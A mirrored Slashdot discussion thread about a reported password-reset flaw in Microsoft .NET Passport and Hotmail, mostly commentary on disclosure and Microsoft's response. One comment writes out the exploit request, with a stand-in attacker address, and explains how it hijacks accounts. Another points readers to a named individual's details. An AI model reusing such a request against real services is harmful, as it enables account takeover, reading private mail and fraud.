Slashdot Mirror
Security Vulnerability in Microsoft .NET Passport
Stuart Moore writes "A vulnerability was reported in Microsoft .NET Passport, also affecting Hotmail user accounts. The simple flaw allows an attacker to change any person's password to an arbitrary value. The attacker can then gain access to the victim's accounts, as well as to the victim's personal information (if any is stored w/ Passport). Muhammad Faisal Rauf Danka posted a note to the Full-Disclosure security e-mail list after multiple unsuccessful attempts to contact Microsoft." There's a news report as well.
Er, already fixed. I get a 404 error when I go there (with appropriate e-mail addresses).
"Population 1,656"
according to a dutch news site this hole was fixed shortly after the posting... So thats the way to talk to microsoft.....
nu.nl for people knowing how to read dutch (no NOT german)..
Thank the lord for POP ;)
May I suggest the headline on the article be changed from "Security Vulnerability in Microsoft
... about this is how Microsoft continues to soapbox about how secure M$ products are yet repeatedly ignore those who find holes. This guy sent them several emails about this and they did nothing until they were called out on it. The same thing happened with BO and CdC. They informed M$ of security issues related to "Back Office" and then created Back Orifice as a "See, I told you so", when M$ refused to acknlowledge the problem...
Yes, it's called posting on slashdot, silly!
The vulnerability seems to return a 404 - so it seems hotmail have taken notice after all - even though it took a /. to make them notice.
secure@microsoft.com
I fully agree this passport problem is a lame & unexcusable fault that should never, ever have happened.
However, can you please stop dragging trustworthy computing into this? Bill Gates has said many times that the increased focus on security is for new products, not retrospectively fixing existing products.
The only product that is really valid to criticise under the trustworthy computing tag is Windows Server 2003 - if that has big problems, then trustworthy computing has failed. But don't drag up old products/services.
Read reviews of shopping cart software
There really does seem to be no difference between someone who cannot read and someone who does not. Those that can read wouldn't be caught using MS-Passport. Sadly, signal can be drowned out by noise coming from a colossal marketing blitz to last through september.
We'll see if they last that long. Windows2003 seems to be more of a push to get users over to OS X or Linux. Their other (2nd of 2) cash cow, the new MS-Office has already been postponed and seems to be more of an incentive to move to OpenOffice than to upgrade.
Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
This is not a new thing, this has been around for a while.
It is about time somebody tried to bring this to light. But i really doubt he "discovered" something that has been known about for a while.
Don't believe me? Do a search on kazaa for hotmail passwords. You will find several txt/doc's with these or similiar instructions.
I Encrypt My IM's
since it's been 404'd, I'll provide it here.
? lc =1033&em=victim@hotmail.com&id=&cb=&prefem=attacke r@attacker.com&rst=1
If you went to:
https://register.passport.net/emailpwdreset.srf
and replaced the victim address to a real user, and the attacker@attacker.com to your address, they would send you an email telling you to click on another link, and you could set your own password. Wala, you now have rights to that hotmail account so you can read their mail, look at their buddy list, safely spam people, buy stuff (if they have their credit card saved), etc etc etc... Real fun stuff.
Whoever stated that signature sizes should be limited to one hundred and twenty characters can just go ahead and kiss my
Passport Security Issue. MS was listening, Muhammad Faisal Rauf was just too impatient. Probably just wanted credit as being "kewl," or something.
I don't know, this still seems to work.
Robert Babcock.
Y AC :www.animemusicvideos.org/members/linkprobview.php %3Fdownload_id%3D1442+Robert+Babcock+ashyukun&hl=e n&ie=UTF-8).
Do a search for Ashyukun on google.(www.nhmk.com/nes/ )
also at
(http://216.239.33.104/search?q=cache:q1XY1gcmA
Consider yourself lucky you don't have to deal with hotmail. Hmm.. what do guys with names like Dick Cheney do?
But the short answer to your question is that yes, the overkill of .NET branding has muddied and confused the perception of what .NET is. But hey, everyone in the world knows the name, so mission accomplished?
Schnapple
So, in case you guys need to contact Steve, you have his email address now!
Not fixed -- per the articles (which, sadly, I did read) they just shut down the function that allows users to change their password.
~REZ~ #43301. Who'd fake being me anyway?
Yes, in fact if you log in and go to your profile, there's a link in the bottom left hand nav that says "CLOSE .NET PASSPORT ACCOUNT"
You click on that, agree to their terms and close your account right there in three clicks.
Goodluck